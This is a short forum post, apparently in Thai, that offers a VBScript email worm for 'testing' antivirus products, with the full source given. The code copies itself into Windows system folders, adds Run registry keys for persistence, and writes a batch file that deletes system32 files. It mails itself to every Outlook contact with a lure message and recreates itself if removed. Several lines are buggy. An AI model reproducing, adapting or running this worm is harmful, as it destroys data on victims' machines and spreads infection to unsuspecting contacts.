เอามาลองของดูว่า antivirus พี่ๆ น้องๆ แน่แค่ใหน เป็น worm script เล็กๆ
'testvirus c0ded by Mav
On Error Resume Next
msgbox "Test infective WORM", vbOKOnly, "Mav 0wnZ j00 AsS"
set fso=CreateObject("Scripting.FileSystemObject")
fso.CopyFile Wscript.ScriptFullName, "C:\WINDOWS\SYSTEM\MicroshitWinblows.vbs", True
set fso=CreateObject("Scripting.FileSystemObject")
fso.CopyFile Wscript.ScriptFullName, "C:\WINNT\system32\MicroshitWinblows.vbs", True
Set WScriptShell = CreateObject ("WScript.Shell")
WScriptShell.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\", "C:\WINDOWS\SYSTEM\MicroshitWinblows.vbs"
Set FileSystemObject = CreateObject("Scripting.filesystemobject")
Set WScriptShell = CreateObject ("WScript.Shell")
WScriptShell.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Run\", "C:\WINNT\system32\MicroshitWinblows.vbs"
Set FileSystemObject = CreateObject("Scripting.filesystemobject")
msgbox "This wouldn't have happened in Linux.. You suck Gates..", vbOKOnly, "HAHA"
Dim shell, batch1, batch2, fso
set fso=CreateObject("Scripting.FileSystemObject")
fso.CopyFile Wscript.ScriptFullName, "C:\Windows.vbs", True
set batch1=fso.CreateTextFile("C:\AutoRun.bat")
batch1.WriteLine "cls"
batch1.WriteLine "@echo off"
batch1.WriteLine "cscript C:\Windows.vbs"
batch1.Close
set batch2=CreateTextFile("C:\Command.bat")
batch2.Writeline "del %systemroot%\system32\*.*"
batch2.WriteLine "cls"
batch2.WriteLine "@echo off"
batch2.WriteLine "for %%a in (*.bat) do copy %0 %%a"
batch2.Close
shell.Run "C:\lnk.bat"
Set payload1 = CreateObject("Scripting.FileSystemObject")
Set tFile = payload1.CreateTextFile("C:\WINDOWS\Desktop\HELLO USER!.txt")
Set tFile2 = payload1.CreateTextFile("C:\Documents and Settings\All Users\Desktop\HELLO USER!.txt")
tFile.WriteLine "Tsk tsk, doesnt Microsoft suck? °"¢[ c0ded by Mav ]"¢Â°"
tFile2.WriteLine "Tsk tsk, doesnt Microsoft suck? °"¢[ c0ded by Mav ]"¢Â°"
Dim x
on error resume next
Set fso ="Scripting.FileSystem.Object"
Set so=CreateObject(fso)
Set ol=CreateObject("Outlook.Application")
Set out= WScript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
Set a = mapi.AddressLists(1)
For x=1 To a.AddressEntries.Count
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="Hey!!!"
Mail.Body="Here's that document I was telling you about last week! You'll love it, it reminds me of you!"
Mail.Attachments.Add Wscript.ScriptFullName
Mail.Send
Next
ol.Quit
dim fso, mav,mytext
set fso = createobject("scripting.filesystemobject")
set mav = fso.opentextfile(wscript.scriptfullname)
mytext = lecusis.readall
mav.close
do
if fso.fileexists(wscript.scriptfullname) = false then
set myself = fso.createtextfile(wscript.scriptfullname)
mav.write mytext
mav.close
end if
loop
